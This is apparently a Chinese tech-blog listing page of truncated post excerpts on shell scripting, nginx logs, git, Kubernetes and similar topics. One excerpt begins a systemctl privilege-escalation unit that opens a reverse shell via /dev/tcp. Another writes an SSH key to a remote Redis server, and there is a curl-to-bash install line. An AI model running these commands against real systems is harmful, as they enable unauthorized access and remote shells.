shell 在线编辑器:https://www.runoob.com/try/runcode.php?filename=helloworld&type=bash 一下脚本自行测试查看结果 echo "Hello World !" your_name="qinjx" echo your_name fo ...
分类:
系统相关 时间:
2021-05-24 17:21:02
阅读次数:
0
In 1953, David A. Huffman published his paper "A Method for the Construction of Minimum-Redundancy Codes", and hence printed his name in the history o ...
分类:
其他好文 时间:
2021-05-24 17:00:26
阅读次数:
0
问题 nginx日志默认记录在一个文件access.log中,时间长了会导致日志文件特别大,甚至磁盘占满。 解决方案 使用以下方法,将access.log文件每天一个,然后清过15天以前的文件。 方法 创建clearNginxLog.sh文件 #!/bin/bash LOG_PATH="/data/ ...
分类:
其他好文 时间:
2021-05-24 16:43:57
阅读次数:
0
官方二进制包方式: # 下载 starport 二进制到 /usr/local/bin $ curl https://get.starport.network/starport! | bash # 如果没有权限,分两步: $ curl https://get.starport.network/sta ...
分类:
其他好文 时间:
2021-05-24 15:42:42
阅读次数:
0
当systemctl具备suid位或sudo权限时,可以用来进行提权。 一、首先编写一个service unit用来被systemctl加载 echo '[Service] Type=oneshot ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/x. ...
分类:
其他好文 时间:
2021-05-24 14:55:34
阅读次数:
0
1. 登录 kubectl get pods kubectl exec -it onedata-oracle-795d6c558b-b2cqj /bin/bash sqlplus /nolug connect / as sysdba 2. 用户账号 创建: create user onedata i ...
分类:
数据库 时间:
2021-05-24 14:53:10
阅读次数:
0
1.git下载与安装 https://gitforwindows.org/ 一般一直下一步即可 任务栏 打开Git Bash,输入: # 配置用户名 git config --global user.name "username" //( "username"是自己的账户名,) # 配置邮箱 git ...
分类:
Web程序 时间:
2021-05-24 13:46:15
阅读次数:
0
安装 javaee jdk mysql apache ideaIU shell编程 x.sh脚本 格式要求: 1.脚本以#!/bin/bash开头 2.脚本要有可执行权限 vim hello.sh 写上: #!/bin/bash echo "hello,world" 保存退出 sh hello.sh ...
分类:
系统相关 时间:
2021-05-24 13:41:21
阅读次数:
0
写公钥 ssh-keygen -t rsa # 生成key (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > /tmp/key.txt # 前后加换行 cat /tmp/key.txt | redis-cli -h 59.xx.xx.157 -x ...
分类:
其他好文 时间:
2021-05-24 13:41:02
阅读次数:
0
hash 和 history的区别 hash 有#,history 没有,Hash式基于锚点,History 模式 基于H5的History API hash 的#部分内容不会传给服务端, history 的所有内容都会给服务端,应用在部署的时候需要注意html的访问,因为无论访问什么/a,/b,/ ...
分类:
其他好文 时间:
2021-05-24 12:23:52
阅读次数:
0